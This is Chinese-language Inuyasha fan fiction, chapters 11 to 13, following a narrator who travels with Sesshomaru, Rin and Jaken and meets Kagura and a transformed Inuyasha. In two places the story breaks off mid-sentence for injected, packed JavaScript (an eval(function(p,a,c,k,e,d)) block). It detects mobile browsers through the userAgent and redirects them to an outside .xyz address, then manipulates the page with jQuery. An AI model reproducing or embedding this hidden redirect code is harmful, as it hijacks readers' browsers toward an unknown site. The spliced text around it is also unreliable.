我跪在地上,用膝盖费劲地往前挪了几步,把怀里那小命快不行的铃,低三下四地、跟献祭品似的往他那边托了托,希望能唤起他对铃一丝一毫的怜悯。
杀生丸的目光冷冷地扫过铃脖子侧边那吓人的、还在冒血的伤口,扫过她灰白的小脸,最后又落回我这疯疯癫癫又绝望的脸上。
他那好看的嘴唇动了动,说出来的话比夜里的风还扎人,带着点毫不掩饰的嘲讽和不在乎。
“天生牙?”他的声音平稳冰冷,没有任何波澜,“一把杀不了人的废刀罢了。”
11. 报恩吗
晨光钻过树叶缝,在地上洒了片晃悠悠的光斑。我们这队人还是老样子,闷头走在没个尽头的路上。
杀生丸走最前头,银头发顺顺地垂着,步子又稳又冷,周围的树啊草啊,在他眼里好像都只是路过的布景板。邪见抱着那柄比他整个人还高的人头杖,呼哧呼哧跟在后头,一会儿偷瞄自家主人的脸色,一会儿回头瞪我,那眼神里又戒备又嫌弃。
我和铃远远跟在最后。多亏天生牙,铃好得特别快,小孩家的精气神全回来了,眼睛亮闪闪的。她时不时凑到我耳边,用清亮的小嗓子指给我看:“姐姐你看!彩色的蝴蝶!”“石头缝里有小花!”我一边看着她别乱跑,一边把心思分了大半在周围——不光是防着危险,更忍不住把注意力悄悄往最前头那道身影上放。
他往那儿一站,周围的空气都像凝住了。可我就是管不住眼睛,总盯着那抹银色,想从他千年不变的冷脸上找出点儿不一样的情绪。这种打量就像喝毒药,明知危险,却戒不掉。
战国的林子从来不安生。有天我们路过一片废墟,里头飘着股死气沉沉的怨念。断墙根下扔着颗妖怪脑袋,牙龇得老长,眼睛瞪得溜圆,那是悟心鬼的头。铃吓得往我身后缩,邪见也打了个哆嗦。
唯独杀生丸停下了脚。他金色的眼睛扫过那颗头骨,亮得像刀,不知道在盘算什么。
我心里咯噔一下,一个大胆的念头冒了出来。知道自己身份低微,可又想证明点儿什么,说不定能离这队伍再近点儿,就鼓起勇气往前挪了半步,压着嗓子小声说:“杀生丸大人……这妖怪好像有点特别的力量……它的牙,会不会是好材料?”我没敢告诉他这是悟心鬼的牙齿可以锻造成武器,只能绕着弯子讲。
杀生丸的目光“唰”地扫过来,冷得像冰,还有点儿被小虫子看穿心思的惊讶。那眼神差点把我冻僵在原地。
空气静了好几秒。就在我后悔得想找个地缝钻进去时,他又转回头,手指轻轻一动,一道绿光闪过,悟心鬼的牙就被齐根削了下来,落进他手里。他啥也没说,收了牙继续往前走。
我僵在那儿,后背全是冷汗。他这是听进去了?还是他本来就打算这么干,我刚好瞎猫碰上死耗子?
后来邪见出去过一趟,回来的时候,除了对我和铃的老样子的嫌弃,脸上还多了点儿说不出的复杂,看我的眼神也怪怪的。
又走了几天,我们到了一个山谷外头,空气里全是铁烧红的味儿和地下火的热气。杀生丸停在那儿,没回头,就淡淡说了句:“在这儿等着。”说完就进了山谷深处。
没等多久,他就回来了,身上的气场比平时更冷。他啥也没说,就在这附近停留了下来,好像在等什么。
几天后
邪见这会儿特兴奋,搓着手往前凑:“杀生丸大人!您的新刀肯定铸好了!取刀这种小事哪能劳烦您!交给我邪见就行!”他拍着胸脯,生怕表现晚了。
杀生丸眼皮都没抬,算是同意了。
邪见立马来了精神,抱着人头杖一溜烟往山谷里的锻冶坊跑。
过了没一会儿,山谷里头突然传来“哐当”一声金属撞响,接着就是邪见的尖叫:“哇啊啊!怎、怎么回事啊!”
声音还没落地,前头站着的杀生丸周身气息“唰”地就冷了下来,金色的眼睛利落地扫向山谷里。他啥也没问,身影“嗖”地一下就没了,只留个残影,直奔锻冶坊。
我和铃对视一眼,都从对方眼里看到了害怕。
“姐姐……”铃不安地抓着我的袖子。
“跟上去看看!小心点!”我拉起她的手,也顾不上保持距离了,顺着杀生丸消失的方向赶紧跑。
还没到那冒着黑烟、飘着邪气的锻冶坊,就看见杀生丸站在里头。邪见正连滚带爬地跑出来,脸上又是吓的又是激动的,看见我们就手舞足蹈地喊,声音都变调了:“太、太厉害了!杀生丸大人的新刀!无敌的!所向披靡啊!”
他挥着小短胳膊,“那个灰刃坊!不知天高地厚想试刀!结果一下子就被刀控制住了!跟疯了似的砍我!把我一刀俩半了!太可怕了!”他拍着胸口,可马上又换成崇拜的表情,“但!是杀生丸大人!是杀生丸大人用天生牙把我救活了!看见了吧!杀生丸大人不光厉害,还这么仁慈!果然是最伟大的杀生丸大人!”
邪见说得语无伦次,整个人都沉浸在新刀的威力和杀生丸救人的震撼里。
我越过他往坊里看,杀生丸正淡淡地把一把刀插进刀鞘。那刀长得挺特别,浑身透着不祥的邪气,还有股子冷飕飕的杀意——那就是斗鬼神。他脚边躺着个叫灰刃坊的刀匠,看起来已经死的不能再死了。
杀生丸压根没理邪见,连多看一眼都没有。刚才那场乱子,还有救人的事,对他来说好像就跟掸掉衣服上的灰一样不值一提。他转身走出锻冶坊,冰冷的目光连我和铃这俩个“旁观者”都没扫一下。
那股无形的压力跟着就来了。我赶紧拉住铃,低下头,和还在叨叨的邪见一起,快步跟上那道银色的背影。
斗鬼神的邪气跟着我们走,本来就冷的气氛更添了几分阴森。我心里有些不安:刚造好就操控主人“弑主”,这么凶的刀……真的能帮到他吗?
杀生丸的目标好像越来越清楚了——找犬夜叉。
又走了些日子,空气里终于传来熟悉的气息,是四魂之玉碎片的味儿,还有犬夜叉的妖力和铁碎牙的波动。
杀生丸突然停下脚,金色的眼睛死死盯着气息传来的方向,冰冷的战意像真的一样散开来。他没回头,也没说话,就留下一句:“在这儿等着。”
身影一下子变成道银光,往战场的方向飞了过去。
我们被留在原地。远处很快传来轰隆隆的巨响,妖力撞在一起刮起的风,隔老远都吹得脸疼。金色和绿色的光在天上搅在一起,把天空都撕开了,地面也跟着晃。
我紧紧攥着铃的手,心里说不清啥滋味。既怕这兄弟俩打得天翻地覆,可心底深处,又有个说不出口的、暗暗的想法在冒头,也许我应该去找犬夜叉他们。
战斗的声音响了挺久,最后慢慢停了下来,谁赢谁输不知道。
等杀生丸的身影再出现在远处时,他还是那样,衣服飘着,一点儿灰都没有,姿态照样冷傲。斗鬼神安安静静挂在腰上,那股邪气好像比之前更凝实了。他身上的气场冷得刺骨,显然心情不怎么样。
他没提半个字关于战斗的事,连看都没看我们,就继续往前走。
不用他说,我们赶紧跟上。
杀生丸跟犬夜叉打完架的余劲儿还飘在空气里,妖力的波纹混着土味儿没散干净。我们仨闷头跟着前头那道银闪闪的冷影子,刚离开乱糟糟的战场。林子里的小路绕来绕去,气氛沉得要命,只能听见脚步声和风吹树叶的“沙沙”响。
铃紧紧贴著我,小手不自觉攥着我衣角——刚才那哥俩打得天翻地覆,她到现在还有些害怕。邪见抱着人头杖,一边小碎步追杀生丸,一边嘴里碎碎念:一会儿骂犬夜叉太野蛮,一会儿又吹“咱们杀生丸大人刚才占上风可厉害了”,絮絮叨叨没个停。
再看杀生丸本人,跟没事儿人似的,好像刚才那场恶战不过是走路时掸掉了肩上一粒灰。他侧脸俊得发冷,半点情绪没有,也就腰上刚得的斗鬼神,透着越来越瘆人的邪气,悄摸摸说着刚才的架打得不轻松。
就这么闷头走著,杀生丸的脚步忽然顿了一下——没回头,握刀的手倒抬了起来。不是拔刀,就那么并着手指像把小刀子,随意往侧边的树林里挥了一下!
一道绿莹莹的光鞭“唰”地撕开空气,跟切豆腐似的,把前头十几棵得俩人抱的老树全拦腰砍断!“轰隆隆”一阵响,树全往两边倒,扬得满鼻子木屑土灰,硬生生劈出片乱糟糟的空地。
土灰还没散呢,一道红影子“噌”地旋了个身,跟被惊飞的仙鹤似的,轻轻落在一根横躺的树干上。花里胡哨的和服,傲气得很的模样,还有那把一瞧就认得出的折扇——
是神乐!
她用扇子挡着半边脸,就露双往上挑的眼,又懒又利。先是扫了眼冷冰冰的杀生丸,眼里飞快闪了下怕怕的神色,跟着目光就精准落到我身上,带着种看热闹的笑,跟发现啥好玩儿的东西似
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252187|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
“呵……”她轻嗤一声,扇子挪开点儿,红嘴唇勾起来,“别这么紧张啊,杀生丸大人。我不是来跟你打架的。”声音哑哑的还带点磁,“就是闻着熟味儿,过来看看……我这位‘姐妹’罢了。”
“姐妹”俩字她咬得特清楚,还捎带点嘲讽。
杀生丸金瞳冷冷盯着她,没被她的话勾动半分,周身那股低气压跟要结冰似的,明摆着随时可能再动手。
神乐倒不在意他这态度,注意力多半在我身上,扇子“哗啦哗啦”摇着:“看来你离开那窝后,过得还行?居然找着这么个厉害的‘靠山’。”她眼神往杀生丸那儿瞟,调侃的味儿更浓了,“犬夜叉他哥,西国大妖怪……啧啧,眼光挺毒啊。说不定哪天,他真能把奈落给宰了?”
话轻飘飘的像根羽毛,却藏着尖刺——既是跟我说,更像是在试探杀生丸的反应。
我心一下子提到嗓子眼,下意识瞅向杀生丸。他还是那副没表情的样子,仿佛神乐的话就是蚊子嗡嗡叫,但我知道,他每个字都听进去了。
空气本来就沉,这会儿被神乐的话一搅,更闷得喘不过气。
我深吸口气,强迫自己稳下来。神乐这会儿来,估计没真想找茬,更多是同病相怜——都是被奈落攥着的“囚鸟”,过来试探试探,说不定还有点羡慕?
我抬起头,迎着她那看热闹的目光,尽量让声音平稳:“神乐。谢了……上次在人见城,是你故意对那边放的风暴吧。”
这话显然出乎她意料,摇扇子的动作顿了下,眼里闪过丝惊讶,跟着又变成更深的、猜不透的笑,跟在说“你居然还记着这点破事”一样。
但她很快又变回那副懒洋洋爱逗人的样子,扇子“唰”地合上,指着我:“谢就免了。我就是好奇,你这只侥幸飞出来的小鸟,能扑腾多久。”她又扫了眼杀生丸,语气怪怪的,“跟着他,确实比待在那个恶心的窝里痛快多了,对吧?”
说完不等我们搭话,她身边的风忽然变了,几片艳红色的羽毛凭空冒出来绕着她转。最后她深深看了我一眼——那眼神杂得很,有嘲讽,有探究,说不定还有丝藏得极深的、想往自由的心思。
“走了。”她轻哼一声,顺着风就飘起来,红影子一闪,没一会儿就没影了。
风一吹,散了点土灰,就剩满地断木头和我们仨沉默站着。
杀生丸没去追,连眼都没往神乐消失的方向瞟。他还站在原地,金瞳里看不出啥情绪,跟刚才啥都没发生似的。
邪见这才找回嗓子,踮着脚冲神乐消失的方向骂:“可恶的神乐!敢对杀生丸大人这么没规矩!还敢勾……”
话没说完,就被一道冷飕飕的眼神堵回去了。杀生丸淡淡瞥了他一眼,邪见立马缩脖子闭了嘴,大气都不敢出。
静了好一会儿,我望着神乐飞走的天,心里乱糟糟的。她这一出现,说的那些话,跟往死水里扔了颗石子,把藏着的害怕和盼头全搅起来了。
犹豫了半天,我鼓起勇气转向杀生丸那冷冰冰的侧脸,声音轻轻的,还带着点抖——像是在解释,又像是在说个沉得慌的事实:
“杀生丸大人……她……神乐……其实跟我一样。我们都想……离开奈落。”
我顿了顿,想起神乐那颗被奈落攥着的心脏,想起她总用骄傲遮着孤独的背影,后面的话就难开口了:
“……但是……她做不到。她有……没法离开的理由。”
说完我就低下头,不敢看他的反应。我知道这些话可能多余,说不定还会让他烦。但我还是说了——好像这样,就能给神乐那看似潇洒的离开,添点不值一提的解释。
杀生丸没吭声。
他只是看了我一眼,周身那股冷飕飕的妖气,好像变得不那么冷了。他沉默地转过身,接着往前走。
仿佛神乐突然冒出来、说的那些话,还有我小心翼翼的解释,都只是这段长路上,一段无关紧要、转眼就忘的小插曲。
我们仨又跟了上去。
只有林子里的风,吹过断木头发出“呜呜”的声儿,好像在替谁说着啥似的。
12. 报恩吗
古老的森林早被甩在身后,连带着里头那棵透着暮气、藏了千年秘密的树妖也一并远了。杀生丸从树妖那儿拿到想要的答案了——他步子还是那样稳,可比起进森林时那股子沉凝的探询劲儿,这会儿多了点冷生生的笃定。
我们跟着他踏出林子,那片遮天蔽日的阴翳总算没了。午后的太阳直愣愣地洒下来,落在身上暖乎乎的,方才在老妖气里沾的那点沉郁,一下就被扫得干干净净。眼前豁然开朗,一片草坡顺着地势往远处铺,风一吹,青草混着野花的香味就飘了过来。
邪见抱着人头杖,总算松了口气,一边小跑一边絮絮叨叨地念:“哎哟喂!可算离开那鬼地方了!那老树妖的味儿简直要闷死人!不过杀生丸大人肯定问到要紧事了!接下来指定要去干件大……”
他的话听着听着就成了背景音。我眼睛不由自主地又黏在了前头那道银影上——这会儿他正沐在亮堂堂的日光里,看着比在林子里顺眼多了。
说不定是离了压抑的地方,也可能是太阳太暖和,又或者……杀生丸达成目的后,身上那股子冰碴子似的气,好像悄悄松了那么一丝丝?真就一点点,不仔细瞅根本发现不了。
我这胆子啊,就跟被太阳晒得冒芽的藤蔓似的,偷偷摸摸地就胀起来了。视线直勾勾盯着他身后那团银绒尾——走一步晃一下,在太阳底下泛着软乎乎的光,看着就蓬松得很,跟他本人那冷冰冰的性子比,简直是两个极端。
毛茸茸的……好想摸一把啊……
这念头一冒出来,就跟生了根似的,压都压不住。心脏“咚咚”跳得飞快,又怕又想的劲儿攥得我手都有点痒。
机会来得挺突然——他脚步稍慢,低头看前头的路,就那么站在那儿,绒尾自然垂着,尾巴尖儿被风吹得轻轻扫着,离我就差那么一点点。
我鬼使神差地屏住气,好像有根看不见的线拽着我,手慢慢悠悠地、还打着颤就伸了过去。指尖一点点凑近那团软毛……
碰到了!
那触感一下就传过来了——软得像陷进暖乎乎的云里,滑溜溜的还带点凉,又有股活物特有的弹性。比我想的还要好,害得我头皮都发麻,恨不得把脸也埋进去蹭蹭。
可我还没来得及多摸两下——
杀生丸的身子几不可查地僵了一下。
他都没完全转过身,就那颗好看得过分的头,轻轻往旁边偏了那么一丁点儿。那双金闪闪的眼,跟刀子似的,“唰”地从眼角扫过来,正好钉在我还搭在他绒尾上的手上!
时间好像一下就停了!连空气都冻住了!
我跟被雷劈了似的,手“嗖”地就缩了回来,心脏“砰砰砰”快跳炸了,后怕跟恐慌跟海啸似的把我裹住!脸烧得滚烫,赶紧低下头,脑子里就只剩“完了完了”四个字在打转。
邪见倒抽一口冷气,眼珠子都快瞪出来了,显然是被我这胆大包天的举动吓得魂都飞了。铃也吓得捂住嘴,担忧地瞅着我,又怯生生地瞄了眼杀生丸。
可预想里的大发雷霆没等来。
杀生丸就用那双能冻住魂儿的金眼盯着我,那几秒长得跟受刑似的。他眼神里全是审视,还有点不痛快,甚至……好像掺了丝愕然?估计他也没料到,我这么个在他眼里不起眼、偶尔还嫌烦的小东西,敢这么越界。
我腿都软了,差点跪下去的时候,他才慢慢把头转回去,重新看向阳光下的草坡。身上那股子骤然绷紧、都快凝出实形的冷气,居然也悄悄松了一丝丝。
他没说话,没骂我,甚至没再看我一眼。
可这种沉默,比吼我一顿还让人慌。
我心脏还在狂跳,脑子一片空白,求生欲逼着我得说点啥打破这尴尬,不管啥话题都行!情急之下,我嘴巴比脑子快,声音抖得厉害,突然蹦出个八竿子打不着的问题:“那、那个……杀生丸大人……西国……是啥样的啊?”
话一出口我就想咬掉自己舌头——这不是没话找话吗?他怎么会搭理这种无聊又突然的问题!
可没想到,杀生丸没立刻无视我,也没赶我走。
他站在那儿静了会儿。暖风扫过草坡,吹得他银头发飘,连带着刚才被我“偷袭”过的绒尾也晃了晃。
说不定是我刚才那蠢乎乎的越界,没闹出啥大事,倒搅了点凝滞的气氛?也可能他从树妖那儿得了答案,目标明确了,心境这会儿难得稳当?又或者……他刚弄明白犬夜叉靠铁碎牙压妖血的事儿,心里缠了好几年的疙瘩总算松了,这会儿有点说不出的释然?
他居然开口了。声音还是那样冷冰冰的,没半点起伏,可也没带着烦劲儿:“妖狼族和狐族的地盘挨着,总打架。雪山顶上,有远古冰凰睡过的遗迹。”
就这两句,没再多说。
可这短短两句话,跟在我眼前开了扇窗似的!妖狼族!狐族!远古冰凰!这些以前只在瞎想和零碎消息里听过的词,从他嘴里说出来,一下子就变得真真切切的,还带着股大气劲儿!
我刚才的怕和尴尬一下就没了,全被好奇顶走了,眼睛都亮了,忍不住追问:“真的啊?那地方肯定特壮观吧?还有别的……像这样的妖国不?”
杀生丸的目光好像飞快地扫了我一眼,瞅着我脸上那藏不住的向往。他金瞳里还是没啥波澜,可身上那股子生人勿近的冷气,又悄悄软了那么一丝丝。
他没细说,就又冷冰冰地蹦了俩词:“北域。冥海。”
冥海!光听名字就觉得又神秘又危险!
我心跳又快了,这次是因为兴奋和向往。脑子一热,一个胆大包天的念头又冒了出来,声音轻轻的,跟说梦话似的:“真好啊……真想亲眼去看看……”
说完我才反应过来又说错话了,赶紧低下头,等着他不理我或者冷着脸。
可又是一阵沉默后——
前头那道银影没回头,却极轻地“哼”了一声,轻得跟错觉似的。
这声“哼”真说不清啥意思,不像同意,也不像反对。
可紧接着,他那冷冰冰的声音又响了,还是没温度,却好像在回应我那句梦话:“等这事了了……或许。”
话到这儿就没下文了。
等这事了了?啥事啊?奈落?还是别的?或许?这词儿模糊得跟没说一样。
可这就够了啊!
一股又大又不真实的喜劲儿跟暖流似的,一下就淌遍全身,害得我都有点晕乎乎的!他……他这是……默认了?甚至……可能答应了?
虽说就一个虚飘飘的“或许”,可从杀生丸嘴里说出来,这都算破天荒的温和了!
我猛地抬头看他的背影,眼睛里全是不敢信的惊喜,亮闪闪的。我知道他可能就是随口一说,说不定转头就忘了,可这一刻的光,够把我心里大片的慌和暗都照亮了。
邪见在旁边彻底僵住了,嘴巴张张合合的,跟见了啥颠覆认知的事儿似的。铃虽说不太懂到底咋了,可感觉到气氛松了,也悄悄松了口气,冲我甜甜地笑了笑。
杀生丸没再说话,好像刚才那段近乎“平和”的对话压根没发生过。他抬脚接着往前走,绒尾在太阳底下划了道好看的弧线。
我赶紧拉着铃,快步跟上。
可心情跟刚才完全不一样了。
指尖好像还留着那软乎乎的触感,耳朵里响着他冷冰冰却没伤人的话,还有那句让我心跳乱了的“或许”。
太阳正好,草儿长得旺,鸟儿也在飞。
前头的路还是不知道啥样,奈落的影子还在,跟着这位喜怒无常的大妖,危险肯定少不了。
可这一刻,一缕小小的、叫“希望”和“期待”的光,真的照进来了。
我偷偷瞅着前头那道银影,嘴角忍不住轻轻往上扬。
风又吹过来了,带着青草的香,吹得杀生丸的银头发和绒尾一起飘。我看着那团晃动的银绒,想起刚才指尖的触感,忍不住又偷偷笑了——刚才那一下,真是又怕又值。
邪见总算缓过点劲了,凑到我旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261568|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边,压低声音嘀咕:“你这家伙刚才是不要命了?敢摸杀生丸大人的尾巴!还有啊,大人居然跟你说西国的事儿,还说‘或许’……这、这简直见了鬼了!”
我没理邪见的絮叨,拉着铃的手紧了紧。铃抬头看我,眼睛亮晶晶的:“姐姐,杀生丸大人是不是同意带我们去好玩的地方啦?”
我蹲下来揉了揉她的头,笑着说:“说不定哦,等把坏人解决了,咱们说不定能去看好多神奇的地方。”
铃一下子就笑开了,小步子迈得更欢了,嘴里还哼起了不成调的歌。
前头的杀生丸好像听到了铃的歌声,脚步没停,可那绷得紧紧的肩线,好像又悄悄松了那么一丁点儿。阳光洒在他银色的发梢上,泛着细碎的光,看着居然没那么冷了。
我望着他的背影,心里的喜劲儿慢慢沉下来,变成了稳稳的期待。不管那“或许”最后算不算数,这一刻的暖,就够我记好久了。
风还在吹,草坡一路往前延伸,好像能通到天尽头。我们三个跟着那道银影,一步步往前走,脚步声、铃的歌声、邪见偶尔的嘀咕,还有风拂过草叶的“沙沙”声,混在一起,居然挺热闹的。
我又偷偷看了眼杀生丸的绒尾——这会儿它随着步伐轻轻晃着,在阳光下软乎乎的,好像比刚才更招人喜欢了。我赶紧收回目光,心里偷偷想:下次……下次可不敢再乱摸了,不过要是真能去西国,说不定能看到更多好玩的东西呢。
杀生丸好像察觉到我在看他,脚步没停,也没回头,就那么稳稳地往前走。可我总觉得,他身上的冷气,又比刚才软了一丝丝——真的就一点点,跟春天刚冒头的芽似的,嫩得很,却实实在在地在那儿。
阳光把我们的影子拉得长长的,一道银影在前头,两道小影子和一道矮矮的影子跟在后头,顺着草坡,慢慢往远处走。
我心里那点慌和怕,好像被这阳光和那声“或许”,一点点融掉了。前头的路再难,好像也没那么吓人了。毕竟啊,能跟着这样一道银影,说不定还能去看冥海、看冰凰遗迹,这本身就够神奇的了。
铃拉着我的手,蹦蹦跳跳地问:“姐姐,冥海是不是全是黑色的水啊?冰凰是不是长得像大鸟,浑身发光?”
我笑着摇摇头:“我不知道哦,不过等咱们去了,就能亲眼看见了。”
“嗯!”铃用力点头,又抬头往前看了看杀生丸的背影,小声说,“杀生丸大人真好。”
我忍不住笑了——是啊,好像……是挺好的。
邪见在旁边听着,又开始嘀咕:“啥好啊!大人那是心情好!等会儿要是不高兴了,有你们怕的!”
可他这话里,没了刚才的慌张,倒多了点习惯性的念叨。
风又吹过来了,带着远处的花香。杀生丸的绒尾晃了晃,我看着那团银绒,心里的期待又多了几分。
等这事了了……或许。
就这五个字,够我揣在心里,暖好久好久了。
阳光正好,草长莺飞,跟着前头那道银影,好像连风都是暖的。我偷偷扬起嘴角,拉着铃,快步跟上。不管以后咋样,先把眼下这暖乎乎的时光,好好攥在手里。
杀生丸突然停下脚步,转头看了眼我们——就一眼,金瞳里没了刚才的冷,好像有那么点淡淡的……嗯,说不上来,反正不吓人。然后他又转回去,接着往前走,脚步好像比刚才慢了那么一丁点儿,刚好能让我们跟上。
我心里一动,赶紧拉着铃加快脚步。邪见也赶紧跟上,嘴里还嘟囔着:“大人咋走慢了?是不是累了?不对不对,大人怎么会累!肯定是等着我们!”
我没说话,只是看着前头那道银影,嘴角的笑意更浓了。
原来啊,冷冰冰的大妖,也有这么贴心的一面。只是这贴心,藏得太深,得细细品才能尝出来。
风拂过草坡,吹得银发和绒尾一起飘。我望着那道背影,心里的光,又亮了一点点。
这条路,好像越来越有意思了。
13. 报恩吗
打从草坡那天晒着暖烘烘的太阳,连杀生丸都松口给了个“或许”之后,我跟在他后头走路都轻快了不少。那股子能蚀到骨头里的怕还在,可早不是最上头的情绪了。倒是有股子微妙的心思,像藤蔓似的悄悄缠上来——总想偷偷多瞅他两眼,好奇这冷冰冰的大妖心里到底装着啥,哪怕明知道有点越界,也按捺不住。
路上还是安安静静的时候多,可空气没以前那么憋得人喘不过气了。杀生丸照样走得没声没息,偶尔停下来辨辨方向,金色眼眸扫过山川旷野,半点儿留恋都没有。但他身上那股子冰碴子似的妖气,好像不怎么故意往外冒了,没以前那种拒人千里的压迫感。邪见的絮叨还是老样子,成了背景音;铃走顺了脚,时不时蹲路边摘朵小野花,编个小花环戴头上,蹦蹦跳跳的。
这天我们走到个荒芜的山隘,风卷着砂石“呼呼”刮,吹得衣服都猎猎响。杀生丸突然停下脚步,往远处翻着的乌云瞅——那地方透着股邪气。
我望着他冷飕飕的侧脸,憋了好久的问题终于冒了头。我小心翼翼往前挪了两步,确保离得够“安全”,才鼓着勇气开口,声音被风吹得零零散散:“杀生丸大人……您为啥……非要找奈落啊?”
话刚出口我就悔了——这问得也太直了,简直是往他的事儿上凑。
果然,杀生丸慢慢转过头。金瞳落在我身上,还是那么冷,可里头好像多了丝淡淡的审视,甚至闪了下像看穿啥可笑心思的嘲弄:“哦?你想为他求情?”
我浑身一僵,血都快冻住了!这误会可大了,我赶紧使劲摇头,声音急得拔高,都快说不清话了:“不!不是的!绝对不是!我怎么可能帮他求情!我……我巴不得他……”
我卡了下壳——我跟奈落那扭曲的关系,真不知道咋说清楚。最后有点破罐子破摔,艰涩地补了句:“我虽说算他的分身……但……但他也想杀我啊……不管我是人还是妖。我就是……就是不明白您为啥这么执着找他。”
我这慌里慌张想撇清的样子,说不定逗着他了,也可能他觉得我还算“识相”。他眼里那点冷嘲慢慢淡了,又变回深不见底的漠然。他转回头接着瞅远处的乌云,语气平淡得像在说今天刮啥风:“他想吞了我的身体。”
轻飘飘一句话,跟道雷似的劈在我天灵盖上!
吞了杀生丸的身体?!
啥意思?奈落那家伙居然狂成这样?不光算计,还敢打杀生丸这具完美大妖身体的主意?!
一股说不出的寒意瞬间攥住我,头皮都发麻了!原来……他俩的仇这么深啊?!
我这震惊又懵的样子肯定写脸上了。旁边邪见一看,觉得这是表忠心加科普的好机会,赶紧抱着人头杖凑过来点,压低声音(但前头杀生丸肯定听得见),又气又显摆地解释:“哼!现在知道了吧!奈落那阴险玩意儿!之前还假惺惺给杀生丸大人一条嵌了四魂之玉碎片的人类胳膊!说啥补偿!根本没安好心!那胳膊里指定藏了毒陷阱、恶诅咒!就是想趁机侵蚀大人完美强大的身体,最后把大人吞了!简直该千刀万剐!”
邪见的话跟冰锥似的,扎破了我以前的认知。嵌玉的胳膊……陷阱……侵蚀……吞掉杀生丸……每个词都透着奈落那吓人的野心和狠劲儿。我下意识抱紧胳膊,好像能体会到那种被当成猎物盯着的冰冷恐惧。同时心里也冒起火——奈落这手段也太不择手段了!
杀生丸没搭理邪见的补充,显然是默认了。他就静静站在那儿,好像在估摸着远处奈落残留妖气的强弱和方向,可身上悄悄散出来的杀意,比平时冷了好几倍,明摆着他对这事儿的态度——绝不可能忍!
就在这时候——
“吼啊啊啊——!”
一声狂暴到极点的咆哮突然从山隘另一边炸开来,跟平地起惊雷似的!那妖力又疯又乱,可偏偏有种诡异的熟悉感!
我们仨一下子都看过去了。
就见道血红的影子跟失控的炮弹似的,从乱石堆后头冲出来!银头发乱得跟草似的,红眼睛里只剩野兽的疯劲儿,尖牙利爪撕扯着空气,周身那股暴戾妖气看得人心头发颤——是犬夜叉!而且是彻底妖化、没了理智的犬夜叉!
“犬夜叉!”戈薇慌慌张张的喊声紧跟着传来,她骑着双尾猫云母,脸都白了,满是焦急和怕。
还有珊瑚、弥勒法师,俩人身子都狼狈得很,显然刚打过一场硬仗,这会儿正拼命想拦住完全妖化的犬夜叉。
妖化的犬夜叉根本不分谁是谁,红眼睛“唰”地锁定了离他最近、妖力最强的——杀生丸!
“杀生丸!”他含糊地吼了声,带着纯纯的破坏欲就扑过来了!速度快得只剩道血影!
“哼。”杀生丸冷哼一声,面对弟弟这疯了似的攻击,连斗鬼神都没拔。就身形轻轻一动,轻松躲开了那能撕烂钢铁的爪子。金眼睛冷冷瞅着被妖血控住的犬夜叉,里头没半点兄弟相残的火儿,倒更像在……冷冰冰地评估。
犬夜叉扑了个空,更狂躁了,转身又扑上来,力气大得吓人,可半点章法都没有。
杀生丸还是只躲不攻,偶尔用没出鞘的斗鬼神挡一下,动作从容得很,跟应付撒泼的小崽子似的。这会儿才看出来,他跟完全暴走的犬夜叉差得可不是一星半点。
“犬夜叉!快醒醒!”戈薇急得喊,想用语灵念珠制住他,可这会儿的犬夜叉根本听不进任何话。
杀生丸好像看够了。等又一次精准躲开犬夜叉的扑击后,他眼里寒光一闪,终于动手了!不是用刀,是快得像闪电的一记手刀,准准劈在犬夜叉后颈上!
那力道拿捏得刚刚好!
狂暴的犬夜叉动作猛地一顿,红眼睛一翻白,一身妖力跟戳破的气球似的散了,身子软趴趴倒下去,昏过去了。
戈薇立马从云母背上跳下来,扑到犬夜叉身边,急着检查他的情况。
可就算昏着,犬夜叉的身子还微微抽着,皮肤底下好像有血红的纹路在隐隐动,那股暴戾妖气没完全散,跟在攒劲儿似的,指不定啥时候又爆了!
“没用的!”珊瑚急道,“这就是暂时打晕他!等会儿还得疯!”
戈薇急得眼泪都快掉下来了,手忙脚乱的,啥办法都没有。
这时候,杀生丸那冷冰冰的声音又响了,还是没啥情绪,却跟指路的灯似的:“用铁碎牙。”
戈薇猛地抬头,一脸懵地看他。
“铁碎牙的结界,能压下去,甚至解开他的妖化。”杀生丸淡淡补了句,金色眼眸扫过地上昏着还不安分的弟弟,语气漠然,“这是他自己选的路。”
戈薇愣了下,跟着眼里就爆发出希望的光!她赶紧抓住铁碎牙的刀柄,使劲集中精神,把想护住犬夜叉的心意往刀上送:“铁碎牙!求求你!救救犬夜叉!”
铁碎牙好像听见她的话了,刀身“嗡嗡”响,散发出比之前更柔和却更坚定的光,跟暖水流似的,慢慢渗进犬夜叉的身子里。那躁动的妖血被这光一裹,终于真的平复下来,皮肤下的红纹路渐渐淡了,犬夜叉皱紧的眉头也慢慢松开,彻底睡沉了。
见犬夜叉真的稳下来了,戈薇才松了口气,瘫坐在地上,额头全是汗。她抬起头,眼神复杂地看向杀生丸:“谢谢你,杀生丸。”
杀生丸没理她的谢,好像刚才就是做了件无关紧要的小事。他转身就准备走。
可就在这时候,戈薇的目光无意间扫到了站在杀生丸身后不远的我。她脸上闪过丝惊讶和疑惑,仔细瞅了我好几眼,突然叫出声:“啊!你……你是上次……在人见城奈落城堡附近的那个……”
她认出我了。也是,我这奈落分身的气息,对灵力敏锐的她来说,肯定挺特别的。
